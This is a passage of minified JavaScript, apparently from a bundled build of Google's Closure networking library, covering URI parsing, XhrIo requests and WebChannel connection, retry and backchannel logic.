n=this.xa;return(n||"file"==e)&&(t.push("//"),(e=this.zb)&&t.push(Ye(e,$e,!0),"@"),t.push(encodeURIComponent(String(n)).replace(/%25([0-9a-fA-F]{2})/g,"%$1")),null!=(n=this.Ca)&&t.push(":",String(n))),(n=this.K)&&(this.Ic()&&"/"!=n.charAt(0)&&t.push("/"),t.push(Ye(n,"/"==n.charAt(0)?tn:Ze,!0))),(n=this.Rd())&&t.push("?",n),(n=this.ib)&&t.push("#",Ye(n,nn)),t.join("")},h.resolve=function(t){var e=this.clone(),n=t.Hf();n?e.tb(t.qa):n=t.If(),n?e.cd(t.zb):n=t.Ic(),n?e.rb(t.xa):n=t.Ff();var r=t.K;if(n)e.sb(t.Ca);else if(n=t.ae()){if("/"!=r.charAt(0))if(this.Ic()&&!this.ae())r="/"+r;else{var i=e.K.lastIndexOf("/");-1!=i&&(r=e.K.substr(0,i+1)+r)}if(".."==(i=r)||"."==i)r="";else if(-1!=i.indexOf("./")||-1!=i.indexOf("/.")){r=0==i.lastIndexOf("/",0),i=i.split("/");for(var o=[],s=0;s<i.length;){var a=i[s++];"."==a?r&&s==i.length&&o.push(""):".."==a?((1<o.length||1==o.length&&""!=o[0])&&o.pop(),r&&s==i.length&&o.push("")):(o.push(a),r=!0)}r=o.join("/")}else r=i}return n?e.ec(r):n=t.Gf(),n?e.bd(t.P.clone()):n=t.Ef(),n&&e.$c(t.ib),e},h.clone=function(){return new He(this)},h.tb=function(t,e){this.U(),(this.qa=e?Xe(t,!0):t)&&(this.qa=this.qa.replace(/:$/,""))},h.Hf=function(){return!!this.qa},h.cd=function(t,e){this.U(),this.zb=e?Xe(t):t},h.If=function(){return!!this.zb},h.rb=function(t,e){this.U(),this.xa=e?Xe(t,!0):t},h.Ic=function(){return!!this.xa},h.sb=function(t){if(this.U(),t){if(t=Number(t),isNaN(t)||0>t)throw Error("Bad port number "+t);this.Ca=t}else this.Ca=null},h.Ff=function(){return null!=this.Ca},h.ec=function(t,e){this.U(),this.K=e?Xe(t,!0):t},h.ae=function(){return!!this.K},h.Gf=function(){return""!==this.P.toString()},h.bd=function(t,e){this.U(),t instanceof rn?(this.P=t,this.P.ad(this.O)):(e||(t=Ye(t,en)),this.P=new rn(t,this.O))},h.Rd=function(){return this.P.toString()},h.getQuery=function(){return this.Rd()},h.l=function(t,e){this.U(),this.P.set(t,e)},h.dc=function(t,e){this.U(),v(e)||(e=[String(e)]),this.P.Ie(t,e)},h.$c=function(t,e){this.U(),this.ib=e?Xe(t):t},h.Ef=function(){return!!this.ib},h.Ub=function(){return this.U(),this.l("zx",Math.floor(2147483648*Math.random()).toString(36)+Math.abs(Math.floor(2147483648*Math.random())^A()).toString(36)),this},h.removeParameter=function(t){return this.U(),this.P.remove(t),this},h.U=function(){if(this.Qf)throw Error("Tried to modify a read-only Uri")},h.ad=function(t){this.O=t,this.P&&this.P.ad(t)};var $e=/[#\/\?@]/g,Ze=/[#\?:]/g,tn=/[#\?]/g,en=/[#\?@]/g,nn=/#/g;function rn(t,e){this.j=this.m=null,this.ja=t||null,this.O=!!e}function on(t,e){this.b=t,this.a=e,this.f=this.A=null,this.bc=!1,this.K=null,this.w=-1,this.Ad=this.na=null}function sn(t){this.D=new je,t&&this.addAll(t)}function an(t){var e=typeof t;return"object"==e&&t||"function"==e?"o"+(t[S]||(t[S]=++E)):e.substr(0,1)+t}function un(t){this.me=t||cn,d.PerformanceNavigationTiming?t=0<(t=d.performance.getEntriesByType("navigation")).length&&("hq"==t[0].nextHopProtocol||"h2"==t[0].nextHopProtocol):t=!!(d.vc&&d.vc.ke&&d.vc.ke()&&d.vc.ke().nh),this.Xb=t?this.me:1,this.v=null,1<this.Xb&&(this.v=new sn),this.f=null,this.ba=[]}(h=rn.prototype).$=function(){if(!this.m&&(this.m=new je,this.j=0,this.ja)){var t=this;!function(t,e){if(t){t=t.split("&");for(var n=0;n<t.length;n++){var r=t[n].indexOf("="),i=null;if(0<=r){var o=t[n].substring(0,r);i=t[n].substring(r+1)}else o=t[n];e(o,i?decodeURIComponent(i.replace(/\+/g," ")):"")}}}(this.ja,function(e,n){t.add(decodeURIComponent(e.replace(/\+/g," ")),n)})}},h.C=function(){return this.$(),this.j},h.add=function(t,e){this.$(),this.Oa(),t=this.Ma(t);var n=this.m.get(t);return n||this.m.set(t,n=[]),n.push(e),this.j+=1,this},h.remove=function(t){return this.$(),t=this.Ma(t),!!this.m.va(t)&&(this.Oa(),this.j-=this.m.get(t).length,this.m.remove(t))},h.clear=function(){this.Oa(),this.m=null,this.j=0},h.X=function(){return this.$(),0==this.j},h.va=function(t){return this.$(),t=this.Ma(t),this.m.va(t)},h.forEach=function(t,e){this.$(),this.m.forEach(function(n,r){q(n,function(n){t.call(e,n,r,this)},this)},this)},h.W=function(){this.$();for(var t=this.m.H(),e=this.m.W(),n=[],r=0;r<e.length;r++)for(var i=t[r],o=0;o<i.length;o++)n.push(e[r]);return n},h.H=function(t){this.$();var e=[];if(p(t))this.va(t)&&(e=U(e,this.m.get(this.Ma(t))));else{t=this.m.H();for(var n=0;n<t.length;n++)e=U(e,t[n])}return e},h.set=function(t,e){return this.$(),this.Oa(),t=this.Ma(t),this.va(t)&&(this.j-=this.m.get(t).length),this.m.set(t,[e]),this.j+=1,this},h.get=function(t,e){return t&&0<(t=this.H(t)).length?String(t[0]):e},h.Ie=function(t,e){this.remove(t),0<e.length&&(this.Oa(),this.m.set(this.Ma(t),Q(e)),this.j+=e.length)},h.toString=function(){if(this.ja)return this.ja;if(!this.m)return"";for(var t=[],e=this.m.W(),n=0;n<e.length;n++){var r=e[n],i=encodeURIComponent(String(r));r=this.H(r);for(var o=0;o<r.length;o++){var s=i;""!==r[o]&&(s+="="+encodeURIComponent(String(r[o]))),t.push(s)}}return this.ja=t.join("&")},h.Oa=function(){this.ja=null},h.clone=function(){var t=new rn;return t.ja=this.ja,this.m&&(t.m=this.m.clone(),t.j=this.j),t},h.Ma=function(t){return t=String(t),this.O&&(t=t.toLowerCase()),t},h.ad=function(t){t&&!this.O&&(this.$(),this.Oa(),this.m.forEach(function(t,e){var n=e.toLowerCase();e!=n&&(this.remove(e),this.Ie(n,t))},this)),this.O=t},h.extend=function(t){for(var e=0;e<arguments.length;e++)We(arguments[e],function(t,e){this.add(e,t)},this)},k(function(){},function(){}),(h=on.prototype).g=null,h.ga=function(t){this.A=t},h.connect=function(t){this.K=t,t=this.b.Sd(this.K),Ne(3);var e=this.b.Ib.$d;null!=e?(this.na=this.b.$a(e[0]),this.g=1,this.xd()):(t.dc("MODE","init"),!this.b.ta&&this.b.aa&&t.dc("X-HTTP-Session-Id",this.b.aa),this.f=new Ve(this,this.a,void 0,void 0,void 0),this.f.ga(this.A),this.f.jd(t,!1,null),this.g=0)},h.xd=function(){this.a.debug("TestConnection: starting stage 2");var t=this.b.Ib.od;if(null!=t)this.a.debug(function(){return"Buffered"}),Ne(4),t?(Ne(10),this.b.ub(this,!1)):(Ne(11),this.b.ub(this,!0));else{this.f=new Ve(this,this.a,void 0,void 0,void 0),this.f.ga(this.A);var e=this.b.Pd(this.na,this.K);Ne(4),e.dc("TYPE","xmlhttp");var n=this.b.aa,r=this.b.Kc;n&&r&&e.l(n,r),this.f.jd(e,!1,this.na)}},h.Jb=function(t){return this.b.Jb(t)},h.abort=function(){this.f&&(this.f.cancel(),this.f=null),this.w=-1},h.de=function(){return!1},h.ue=function(t,e){if(this.w=t.w,0==this.g)if(this.a.debug("TestConnection: Got data for stage 1"),this.pc(t),e){try{var n=this.b.kc.zc(e)}catch(t){return this.a.cb(t),void this.b.dd(this)}this.na=this.b.$a(n[0])}else this.a.debug("TestConnection: Null responseText"),this.b.dd(this);else 1==this.g&&(this.bc?Ne(6):"11111"==e?(Ne(5),this.bc=!0,this.Ze()&&(this.w=200,this.f.cancel(),this.a.debug("Test connection succeeded; using streaming connection"),Ne(11),this.b.ub(this,!0))):(Ne(7),this.bc=!1))},h.Tc=function(){this.w=this.f.w,this.f.S?0==this.g?(this.g=1,this.a.debug("TestConnection: request complete for initial check"),this.xd()):1==this.g&&(this.a.debug("TestConnection: request complete for stage 2"),this.bc?(this.a.debug("Test connection succeeded; using streaming connection"),Ne(11),this.b.ub(this,!0)):(this.a.debug("Test connection failed; not using streaming"),Ne(10),this.b.ub(this,!1))):(this.a.debug("TestConnection: request failed, in state "+this.g),0==this.g?Ne(8):1==this.g&&Ne(9),this.b.dd(this))},h.pc=function(t){if(!this.b.ta&&(t=t.h)){var e=t.kb("X-Client-Wire-Protocol");this.Ad=e||null,this.b.aa&&((t=t.kb("X-HTTP-Session-Id"))?this.b.Fe(t):this.a.T("Missing X_HTTP_SESSION_ID in the handshake response"))}},h.fc=function(){return this.b.fc()},h.Ba=function(){return this.b.Ba()},h.Ze=function(){return!st||10<=Number(mt)},(h=sn.prototype).C=function(){return this.D.C()},h.add=function(t){this.D.set(an(t),t)},h.addAll=function(t){for(var e=(t=Ke(t)).length,n=0;n<e;n++)this.add(t[n])},h.pb=function(t){for(var e=(t=Ke(t)).length,n=0;n<e;n++)this.remove(t[n])},h.remove=function(t){return this.D.remove(an(t))},h.clear=function(){this.D.clear()},h.X=function(){return this.D.X()},h.contains=function(t){return this.D.va(an(t))},h.H=function(){return this.D.H()},h.clone=function(){return new sn(this)};var cn=10;function hn(){this.xg=this.rg=void 0}function ln(){this.jg=new hn}function fn(t,e,n,r,i){try{t.debug(n),e.onload=null,e.onerror=null,e.onabort=null,e.ontimeout=null,i(r)}catch(e){t.cb(e)}}(h=un.prototype).ld=function(t){this.v||-1==t.indexOf("spdy")&&-1==t.indexOf("quic")&&-1==t.indexOf("h2")||(this.Xb=this.me,this.v=new sn,this.f&&(this.oc(this.f),this.f=null))},h.ee=function(){return!!this.f||!!this.v&&this.v.C()>=this.Xb},h.xf=function(){return this.f?1:this.v?this.v.C():0},h.Jc=function(t){return this.f?this.f==t:!!this.v&&this.v.contains(t)},h.oc=function(t){this.v?this.v.add(t):this.f=t},h.ze=function(t){this.f&&this.f==t?this.f=null:this.v&&this.v.contains(t)&&this.v.remove(t)},h.cancel=function(){this.ba=this.la(),this.f?(this.f.cancel(),this.f=null):this.v&&!this.v.X()&&(q(this.v.H(),function(t){t.cancel()}),this.v.clear())},h.la=function(){if(null!=this.f)return this.ba.concat(this.f.la());if(null!=this.v&&!this.v.X()){var t=this.ba;return q(this.v.H(),function(e){t=t.concat(e.la())}),t}return Q(this.ba)},h.Re=function(t){this.ba=this.ba.concat(t)},h.$e=function(){this.ba.length=0},hn.prototype.stringify=function(t){return d.JSON.stringify(t,this.rg)},hn.prototype.parse=function(t){return d.JSON.parse(t,this.xg)},ln.prototype.hf=function(t,e,n){var r=n||"";try{We(t,function(t,n){var i=t;T(t)&&(i=Gt(t)),e.push(r+n+"="+encodeURIComponent(i))})}catch(t){throw e.push(r+"type="+encodeURIComponent("_badmap")),t}},ln.prototype.jf=function(t,e,n){for(var r=-1;;){var i=["count="+e];-1==r?0<e?(r=t[0].Pc,i.push("ofs="+r)):r=0:i.push("ofs="+r);for(var o=!0,s=0;s<e;s++){var a=t[s].Pc,u=t[s].map;if(0>(a-=r))r=Math.max(0,t[s].Pc-100),o=!1;else try{this.hf(u,i,"req"+a+"_")}catch(t){n&&n(u)}}if(o)return i.join("&")}},ln.prototype.zc=function(t){return this.jg.parse(t)};var dn=d.JSON.parse;function pn(t){jt.call(this),this.headers=new je,this.Xa=t||null,this.ha=!1,this.mc=this.c=null,this.ge=this.Tb="",this.Pa=0,this.I="",this.Aa=this.Lc=this.Qb=this.Ec=!1,this.vb=0,this.hc=null,this.Ae=mn,this.jc=this.lg=this.Ab=!1}k(pn,jt);var mn="";pn.prototype.s=be("goog.net.XhrIo");var yn=/^https?$/i,gn=["POST","PUT"];function vn(t){return"content-type"==t.toLowerCase()}function bn(t,e){return{type:e,lengthComputable:t.lengthComputable,loaded:t.loaded,total:t.total}}function wn(t,e,n){t:{for(r in n){var r=!1;break t}r=!0}if(r)return t;if(n=function(t){var e="";return Y(t,function(t,n){e+=n,e+=":",e+=t,e+="\r\n"}),e}(n),p(t)){if(e=encodeURIComponent(String(e)),e+=n=null!=n?"="+encodeURIComponent(String(n)):""){if(0>(n=t.indexOf("#"))&&(n=t.length),0>(r=t.indexOf("?"))||r>n){r=n;var i=""}else i=t.substring(r+1,n);n=(t=[t.substr(0,r),i,t.substr(n)])[1],t[1]=e?n?n+"&"+e:e:n,t=t[0]+(t[1]?"?"+t[1]:"")+t[2]}return t}return t.l(e,n),t}function Tn(t){this.Bd=22,this.De=0,this.M=[],this.a=new Se,this.Ib=new function(){this.od=this.$d=null},this.na=this.md=this.hb=this.K=this.u=this.Kc=this.aa=this.gb=this.N=this.Rb=this.A=null,this.Te=!0,this.ag=this.Yb=0,this.kf=!!m("internalChannelParams.failFast",t),this.fd=this.Ja=this.wa=this.ia=this.ea=this.i=null,this.Se=!0,this.w=this.he=this.Sb=-1,this.rc=this.Ha=this.La=0,this.Ve=m("internalChannelParams.baseRetryDelayMs",t)||5e3,this.vg=m("internalChannelParams.retryDelaySeedMs",t)||1e4,this.nf=m("internalChannelParams.forwardChannelMaxRetries",t)||2,this.Od=m("internalChannelParams.forwardChannelRequestTimeoutMs",t)||2e4,this.Xa=t&&t.oh||void 0,this.Db=void 0,this.Ra=0,this.gc=t&&t.supportsCrossDomainXhr||!1,this.ra="",this.G=new un(t&&t.concurrentRequestLimit),this.kc=new ln,this.ta=!t||void 0===t.backgroundChannelTest||t.backgroundChannelTest,(this.Nd=t&&t.fastHandshake||!1)&&!this.ta&&(this.a.T("Force backgroundChannelTest when fastHandshake is enabled."),this.ta=!0),t&&t.Id&&this.a.Id()}function Sn(){}function En(){if(st&&!(10<=Number(mt)))throw Error("Environmental error: no available transport.")}function In(t,e){jt.call(this),this.b=new Tn(e),this.yb=t,this.Qg=e&&e.testUrl?e.testUrl:function(t){for(var e=arguments[0],n=1;n<arguments.length;n++){var r,i=arguments[n];0==i.lastIndexOf("/",0)?e=i:((r=""==e)||(r=0<=(r=e.length-1)&&e.indexOf("/",r)==r),e=r?e+i:e+"/"+i)}return e}(this.yb,"test"),this.s=be("goog.labs.net.webChannel.WebChannelBaseTransport"),this.Rc=e&&e.messageUrlParams||null,t=e&&e.messageHeaders||null,e&&e.clientProtocolHeaderRequired&&(t?t["X-Client-Protocol"]="webchannel":t={"X-Client-Protocol":"webchannel"}),this.b.ga(t),t=e&&e.initMessageHeaders||null,e&&e.messageContentType&&(t?t["X-WebChannel-Content-Type"]=e.messageContentType:t={"X-WebChannel-Content-Type":e.messageContentType}),e&&e.zd&&(t?t["X-WebChannel-Client-Profile"]=e.zd:t={"X-WebChannel-Client-Profile":e.zd}),this.b.Eg(t),(t=e&&e.httpHeadersOverwriteParam)&&!K(t)&&this.b.Cg(t),this.Og=e&&e.supportsCrossDomainXhr||!1,this.zg=e&&e.sendRawJson||!1,(e=e&&e.httpSessionIdParam)&&!K(e)&&(this.b.Dg(e),null!==(t=this.Rc)&&e in t&&(e in(t=this.Rc)&&delete t[e],(t=this.s)&&t.T("Ignore httpSessionIdParam also specified with messageUrlParams: "+e,void 0))),this.vd=new Nn(this)}function Cn(t){xe.call(this);var e=t.__sm__;if(e){t:{for(var n in e){t=n;break t}t=void 0}(this.ne=t)&&(t=this.ne,e=null!==e&&t in e?e[t]:void 0),this.data=e}else this.data=t}function Dn(t){qe.call(this),this.status=1,this.errorCode=t}function Nn(t){this.b=t}(h=pn.prototype).Je=function(t){this.Ab=t},h.send=function(t,e,n,r){if(this.c)throw Error("[goog.net.XhrIo] Object is active with another request="+this.Tb+"; newUri="+t);e=e?e.toUpperCase():"GET",this.Tb=t,this.I="",this.Pa=0,this.ge=e,this.Ec=!1,this.ha=!0,this.c=this.df(),this.mc=this.Xa?this.Xa.Vd():_e.Vd(),this.c.onreadystatechange=D(this.te,this),this.lg&&"onprogress"in this.c&&(this.c.onprogress=D(function(t){this.re(t,!0)},this),this.c.upload&&(this.c.upload.onprogress=D(this.re,this)));try{Te(this.s,this.da("Opening Xhr")),this.Lc=!0,this.c.open(e,String(t),!0),this.Lc=!1}catch(t){return Te(this.s,this.da("Error opening Xhr: "+t.message)),void this.Ld(t)}t=n||"";var i=this.headers.clone();r&&We(r,function(t,e){i.set(e,t)}),r=function(t){t:{for(var e=vn,n=t.length,r=p(t)?t.split(""):t,i=0;i<n;i++)if(i in r&&e.call(void 0,r[i],i,t)){e=i;break t}e=-1}return 0>e?null:p(t)?t.charAt(e):t[e]}(i.W()),n=d.FormData&&t instanceof d.FormData,!(0<=L(gn,e))||r||n||i.set("Content-Type","application/x-www-form-urlencoded;charset=utf-8"),i.forEach(function(t,e){this.c.setRequestHeader(e,t)},this),this.Ae&&(this.c.responseType=this.Ae),"withCredentials"in this.c&&this.c.withCredentials!==this.Ab&&(this.c.withCredentials=this.Ab);try{this.yd(),0<this.vb&&(this.jc=function(t){return st&&gt(9)&&"number"==typeof t.timeout&&void 0!==t.ontimeout}(this.c),Te(this.s,this.da("Will abort after "+this.vb+"ms if incomplete, xhr2 "+this.jc)),this.jc?(this.c.timeout=this.vb,this.c.ontimeout=D(this.Ua,this)):this.hc=oe(this.Ua,this.vb,this)),Te(this.s,this.da("Sending request")),this.Qb=!0,this.c.send(t),this.Qb=!1}catch(t){Te(this.s,this.da("Send error: "+t.message)),this.Ld(t)}},h.df=function(){return this.Xa?this.Xa.Dd():_e.Dd()},h.Ua=function(){void 0!==f&&this.c&&(this.I="Timed out after "+this.vb+"ms, aborting",this.Pa=8,Te(this.s,this.da(this.I)),this.dispatchEvent("timeout"),this.abort(8))},h.Ld=function(t){this.ha=!1,this.c&&(this.Aa=!0,this.c.abort(),this.Aa=!1),this.I=t,this.Pa=5,this.Jd(),this.Gb()},h.Jd=function(){this.Ec||(this.Ec=!0,this.dispatchEvent("complete"),this.dispatchEvent("error"))},h.abort=function(t){this.c&&this.ha&&(Te(this.s,this.da("Aborting")),this.ha=!1,this.Aa=!0,this.c.abort(),this.Aa=!1,this.Pa=t||7,this.dispatchEvent("complete"),this.dispatchEvent("abort"),this.Gb())},h.F=function(){this.c&&(this.ha&&(this.ha=!1,this.Aa=!0,this.c.abort(),this.Aa=!1),this.Gb(!0)),pn.L.F.call(this)},h.te=function(){this.Ka||(this.Lc||this.Qb||this.Aa?this.se():this.eg())},h.eg=function(){this.se()},h.se=function(){if(this.ha&&void 0!==f)if(this.mc[1]&&4==this.ma()&&2==this.za())Te(this.s,this.da("Local request error detected and ignored"));else if(this.Qb&&4==this.ma())oe(this.te,0,this);else if(this.dispatchEvent("readystatechange"),this.Mc()){Te(this.s,this.da("Request complete")),this.ha=!1;try{this.Rf()?(this.dispatchEvent("complete"),this.dispatchEvent("success")):(this.Pa=6,this.I=this.Yd()+" ["+this.za()+"]",this.Jd())}finally{this.Gb()}}},h.re=function(t,e){this.dispatchEvent(bn(t,"progress")),this.dispatchEvent(bn(t,e?"downloadprogress":"uploadprogress"))},h.Gb=function(t){if(this.c){this.yd();var e=this.c,n=this.mc[0]?y:null;this.mc=this.c=null,t||this.dispatchEvent("ready");try{e.onreadystatechange=n}catch(e){(t=this.s)&&t.ca("Problem encountered resetting onreadystatechange: "+e.message,void 0)}}},h.yd=function(){this.c&&this.jc&&(this.c.ontimeout=null),this.hc&&(d.clearTimeout(this.hc),this.hc=null)},h.Ba=function(){return!!this.c},h.Mc=function(){return 4==this.ma()},h.Rf=function(){var t=this.za();t:switch(t){case 200:case 201:case 202:case 204:case 206:case 304:case 1223:var e=!0;break t;default:e=!1}return e||0===t&&!this.Of()},h.Of=function(){var t=String(this.Tb).match(ze)[1]||null;return!t&&d.self&&d.self.location&&(t=(t=d.self.location.protocol).substr(0,t.length-1)),yn.test(t?t.toLowerCase():"")},h.ma=function(){return this.c?this.c.readyState:0},h.za=function(){try{return 2<this.ma()?this.c.status:-1}catch(t){return-1}},h.Yd=function(){try{return 2<this.ma()?this.c.statusText:""}catch(t){return Te(this.s,"Can not get status: "+t.message),""}},h.ya=function(){try{return this.c?this.c.responseText:""}catch(t){return Te(this.s,"Can not get responseText: "+t.message),""}},h.yf=function(t){if(this.c){var e=this.c.responseText;return t&&0==e.indexOf(t)&&(e=e.substring(t.length)),dn(e)}},h.getResponseHeader=function(t){if(this.c&&this.Mc())return null===(t=this.c.getResponseHeader(t))?void 0:t},h.getAllResponseHeaders=function(){return this.c&&this.Mc()&&this.c.getAllResponseHeaders()||""},h.kb=function(t){return this.c?this.c.getResponseHeader(t):null},h.Ud=function(){return this.Pa},h.Hc=function(){return p(this.I)?this.I:String(this.I)},h.da=function(t){return t+" ["+this.ge+" "+this.Tb+" "+this.za()+"]"},(h=Tn.prototype).tc=8,h.g=1,h.connect=function(t,e,n,r,i){this.a.debug("connect()"),Ne(0),this.K=e,this.gb=n||{},r&&void 0!==i&&(this.gb.OSID=r,this.gb.OAID=i),this.ta&&(this.a.debug("connect() bypassed channel-test."),this.Ib.$d=[],this.Ib.od=!1),this.bf(t)},h.disconnect=function(){if(this.a.debug("disconnect()"),this.qd(),3==this.g){var t=this.Yb++,e=this.hb.clone();e.l("SID",this.ra),e.l("RID",t),e.l("TYPE","terminate"),this.Ya(e),new Ve(this,this.a,this.ra,t,void 0).yg(e)}this.qe()},h.bf=function(t){this.a.debug("connectTest_()"),this.Ja=new on(this,this.a),null===this.N&&this.Ja.ga(this.A);var e=t;this.N&&this.A&&(e=wn(t,this.N,this.A)),this.Ja.connect(e)},h.af=function(){this.a.debug("connectChannel_()"),this.hb=this.Sd(this.K),this.Dc()},h.qd=function(){this.Ja&&(this.Ja.abort(),this.Ja=null),this.u&&(this.u.cancel(),this.u=null),this.ia&&(d.clearTimeout(this.ia),this.ia=null),this.Hb(),this.G.cancel(),this.ea&&(d.clearTimeout(this.ea),this.ea=null)},h.ga=function(t){this.A=t},h.Eg=function(t){this.Rb=t},h.Cg=function(t){this.N=t},h.Dg=function(t){this.aa=t},h.Fe=function(t){this.Kc=t},h.He=function(t){this.Ra=t},h.Hg=function(){this.gc=!0},h.Ee=function(t){this.i=t},h.Nf=function(){return!this.fd},h.Zc=function(t){1e3==this.M.length&&this.a.ca(function(){return"Already have 1000 queued maps upon queueing "+Gt(t)}),this.M.push(new function(t,e){this.Pc=t,this.map=e,this.context=null}(this.ag++,t)),3==this.g&&this.Dc()},h.qf=function(){return this.kf?0:this.nf},h.de=function(){return 0==this.g},h.getState=function(){return this.g},h.Dc=function(){this.G.ee()||this.ea||(this.ea=ke(D(this.we,this),0),this.La=0)},h.Yf=function(t){return this.G.xf()>=this.G.Xb-(this.ea?1:0)?(this.a.ca("Unexpected retry request is scheduled."),!1):this.ea?(this.a.debug("Use the retry request that is already scheduled."),this.M=t.la().concat(this.M),!0):!(1==this.g||2==this.g||this.La>=this.qf())&&(this.a.debug("Going to retry POST"),this.ea=ke(D(this.we,this,t),this.Xd(this.La)),this.La++,!0)},h.we=function(t){this.ea=null,this.Mg(t)},h.Mg=function(t){this.a.debug("startForwardChannel_"),1==this.g?t?this.a.ca("Not supposed to retry the open"):(this.ig(),this.g=2):3==this.g&&(t?this.le(t):0==this.M.length?this.a.debug("startForwardChannel_ returned: nothing to send"):this.G.ee()?this.a.ca("startForwardChannel_ returned: connection already in progress"):(this.le(),this.a.debug("startForwardChannel_ finished, sent request")))},h.ig=function(){this.a.debug("open_()"),this.Yb=Math.floor(1e5*Math.random());var t=this.Yb++,e=new Ve(this,this.a,"",t,void 0),n=this.A;this.Rb&&(n?et(n=Z(n),this.Rb):n=this.Rb),null===this.N&&e.ga(n);var r=this.Hd(e),i=this.hb.clone();i.l("RID",t),0<this.Bd&&i.l("CVER",this.Bd),this.ta&&this.aa&&i.l("X-HTTP-Session-Id",this.aa),this.Ya(i),this.N&&n&&wn(i,this.N,n),this.G.oc(e),this.Nd?(i.l("$req",r),i.l("SID","null"),e.Ag(),e.kd(i,null)):e.kd(i,r)},h.le=function(t){var e=t?t.R:this.Yb++,n=this.hb.clone();n.l("SID",this.ra),n.l("RID",e),n.l("AID",this.Sb),this.Ya(n),this.N&&this.A&&wn(n,this.N,this.A),e=new Ve(this,this.a,this.ra,e,this.La+1),null===this.N&&e.ga(this.A),t&&this.sg(t),t=this.Hd(e),e.setTimeout(Math.round(.5*this.Od)+Math.round(.5*this.Od*Math.random())),this.G.oc(e),e.kd(n,t)},h.Ya=function(t){this.i&&We({},function(e,n){t.l(n,e)})},h.Hd=function(t){var e=Math.min(this.M.length,1e3),n=this.i?D(this.i.Ue,this.i,this):null;return n=this.kc.jf(this.M,e,n),t.Gg(this.M.splice(0,e)),n},h.sg=function(t){this.M=t.la().concat(this.M)},h.Kd=function(){if(!this.u&&!this.ia){this.rc=1;var t=this.ve;Yt||te(),ee||(Yt(),ee=!0),ne.add(t,this),this.Ha=0}},h.Qc=function(){return this.u||this.ia?(this.a.ca("Request already in progress"),!1):!(3<=this.Ha)&&(this.a.debug("Going to retry GET"),this.rc++,this.ia=ke(D(this.ve,this),this.Xd(this.Ha)),this.Ha++,!0)},h.ve=function(){this.ia=null,this.Kg()},h.Kg=function(){this.a.debug("Creating new HttpRequest"),this.u=new Ve(this,this.a,this.ra,"rpc",this.rc),null===this.N&&this.u.ga(this.A),this.u.He(this.Ra);var t=this.md.clone();t.l("RID","rpc"),t.l("SID",this.ra),t.l("CI",this.fd?"0":"1"),t.l("AID",this.Sb),this.Ya(t),t.l("TYPE","xmlhttp"),this.N&&this.A&&wn(t,this.N,this.A),this.Db&&this.u.setTimeout(this.Db),this.u.jd(t,!0,this.na),this.a.debug("New Request created")},h.ub=function(t,e){this.a.debug("Test Connection Finished");var n=t.Ad;n&&this.G.ld(n),this.fd=this.Se&&e,this.w=t.w,this.af()},h.dd=function(t){this.a.debug("Test Connection Failed"),this.w=t.w,this.sa(2)},h.ue=function(t,e){if(0!=this.g&&(this.u==t||this.G.Jc(t)))if(this.w=t.w,!t.lb&&this.G.Jc(t)&&3==this.g){try{var n=this.kc.zc(e)}catch(t){n=null}v(n)&&3==n.length?this.Cf(n,t):(this.a.debug("Bad POST response data returned"),this.sa(11))}else(t.lb||this.u==t)&&this.Hb(),K(e)||(n=this.kc.zc(e),this.dg(n,t))},h.Cf=function(t,e){0==t[0]?this.Bf(e):(this.he=t[1],0<(e=this.he-this.Sb)&&(t=t[2],this.a.debug(t+" bytes (in "+e+" arrays) are outstanding on the BackChannel"),this.Jg(t)&&!this.wa&&(this.wa=ke(D(this.bg,this),6e3))))},h.Bf=function(t){if(this.a.debug("Server claims our backchannel is missing."),this.ia)this.a.debug("But we are currently starting the request.");else{if(this.u){if(!(this.u.qb+3e3<t.qb))return;this.Hb(),this.u.cancel(),this.u=null}else this.a.T("We do not have a BackChannel established");this.Qc(),Ne(18)}},h.Jg=function(t){return 37500>t&&!this.Nf()&&0==this.Ha},h.$a=function(t){return this.Te?this.i?this.i.$a(t):t:null},h.bg=function(){null!=this.wa&&(this.wa=null,this.u.cancel(),this.u=null,this.Qc(),Ne(19))},h.Hb=function(){null!=this.wa&&(d.clearTimeout(this.wa),this.wa=null)},h.Tc=function(t){this.a.debug("Request complete");var e=null;if(this.u==t){this.Hb(),this.u=null;var n=2}else{if(!this.G.Jc(t))return;e=t.la(),this.G.ze(t),n=1}if(this.w=t.w,0!=this.g)if(t.S)1==n?(function(t,e,n){Ee.dispatchEvent(new Ae(Ee,t,e,n))}(t.Da?t.Da.length:0,A()-t.qb,this.La),this.Dc()):this.Kd();else{var r=t.Hc();if(3==r||0==r&&0<this.w)this.a.debug("Not retrying due to error type");else{var i=this;if(this.a.debug(function(){return"Maybe retrying, last error: "+function(t,e){switch(t){case 0:return"Non-200 return code ("+e+")";case 1:return"XMLHTTP failure (no data)";case 2:return"HttpConnection timeout";default:return"Unknown error"}}(r,i.w)}),1==n&&this.Yf(t)||2==n&&this.Qc())return;this.a.debug("Exceeded max number of retries")}switch(e&&0<e.length&&this.G.Re(e),this.a.debug("Error: HTTP request failed"),r){case 1:this.sa(5);break;case 4:this.sa(10);break;case 3:this.sa(6);break;default:this.sa(2)}}},h.Xd=function(t){var e=this.Ve+Math.floor(Math.random()*this.vg);return this.Ba()||(this.a.debug("Inactive channel"),e*=2),e*t},h.pc=function(t){if(this.ta&&(t=t.h)){var e=t.kb("X-Client-Wire-Protocol");e&&this.G.ld(e),this.aa&&((t=t.kb("X-HTTP-Session-Id"))?(this.Fe(t),this.hb.l(this.aa,t)):this.a.T("Missing X_HTTP_SESSION_ID in the handshake response"))}},h.dg=function(t,e){for(var n=this.i&&this.i.sc?[]:null,r=0;r<t.length;r++){var i=t[r];if(this.Sb=i[0],i=i[1],2==this.g)if("c"==i[0]){this.ra=i[1],this.na=this.$a(i[2]);var o=i[3];null!=o&&(this.tc=o,this.a.info("VER="+this.tc)),null!=(o=i[4])&&(this.De=o,this.a.info("SVER="+this.De)),null!=(i=i[5])&&"number"==typeof i&&0<i&&(this.Db=i*=1.5,this.a.info("backChannelRequestTimeoutMs_="+i)),this.pc(e),this.g=3,this.i&&this.i.wd(),this.Lg(e)}else"stop"!=i[0]&&"close"!=i[0]||this.sa(7);else 3==this.g&&("stop"==i[0]||"close"==i[0]?(n&&0!=n.length&&(this.i.sc(this,n),n.length=0),"stop"==i[0]?this.sa(7):this.disconnect()):"noop"!=i[0]&&(n?n.push(i):this.i&&this.i.ud(i)),this.Ha=0)}n&&0!=n.length&&this.i.sc(this,n)},h.Lg=function(t){this.md=this.Pd(this.na,this.K),t.lb?(this.a.debug("Upgrade the handshake request to a backchannel."),this.G.ze(t),t.tg(this.Db),this.u=t):this.Kd()},h.sa=function(t){if(this.a.info("Error code "+t),2==t){var e=null;this.i&&(e=null);var 